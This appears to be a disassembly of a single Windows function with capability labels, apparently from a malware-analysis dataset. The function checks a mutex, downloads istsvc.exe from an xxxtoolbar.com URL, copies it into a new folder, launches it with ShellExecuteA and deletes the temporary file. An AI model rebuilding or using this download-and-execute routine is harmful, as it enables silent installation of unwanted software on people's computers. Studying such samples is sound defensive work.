Function at 0x4010af
Capabilities:
Copy file
Create directory
Create process on windows
Delete file

Disassembly:
jmp 0x403910
sub esp, 0x208
push ebx
push ebp
push esi
push edi
push 0
push str.SoftwareISTsvc
push SysReAllocStringLen
xor bl, bl
call fcn.00401028
add esp, 0xc
test al, al
je 0x403936
mov bl, 1
push str.ISTsvcMUTEX
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.DLL_OpenMutexA]
test eax, eax
je 0x403963
push eax
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
pop edi
pop esi
pop ebp
mov eax, 4
pop ebx
add esp, 0x208
ret
mov edi, 0x40dfec
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x114]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x114]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.istsvc.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x114]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push str.http:__install.xxxtoolbar.com_ist_softwares_addins_istsvc.exe
call fcn.00401032
add esp, 8
test eax, eax
jne 0x4039e6
pop edi
pop esi
pop ebp
mov eax, 7
pop ebx
add esp, 0x208
ret
or ecx, 0xffffffff
mov edi, 0x40e0f0
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40c9dc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x14]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.ISTsvc
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x14]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov edi, 0x40c9dc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x10]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.istsvc.exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
push eax
and ecx, 3
lea eax, [esp + 0x14]
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x118]
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
test eax, eax
jne 0x403af4
pop edi
pop esi
pop ebp
mov eax, 7
pop ebx
add esp, 0x208
ret
mov edx, dword [esp + 0x21c]
push 0
push 0
lea eax, [esp + 0x18]
push edx
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test eax, eax
jne 0x403b23
pop edi
pop esi
pop ebp
mov eax, 7
pop ebx
add esp, 0x208
ret
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
neg bl
sbb ebx, ebx
pop edi
and ebx, 0xfffffffe
pop esi
add ebx, 5
pop ebp
mov eax, ebx
pop ebx
add esp, 0x208
ret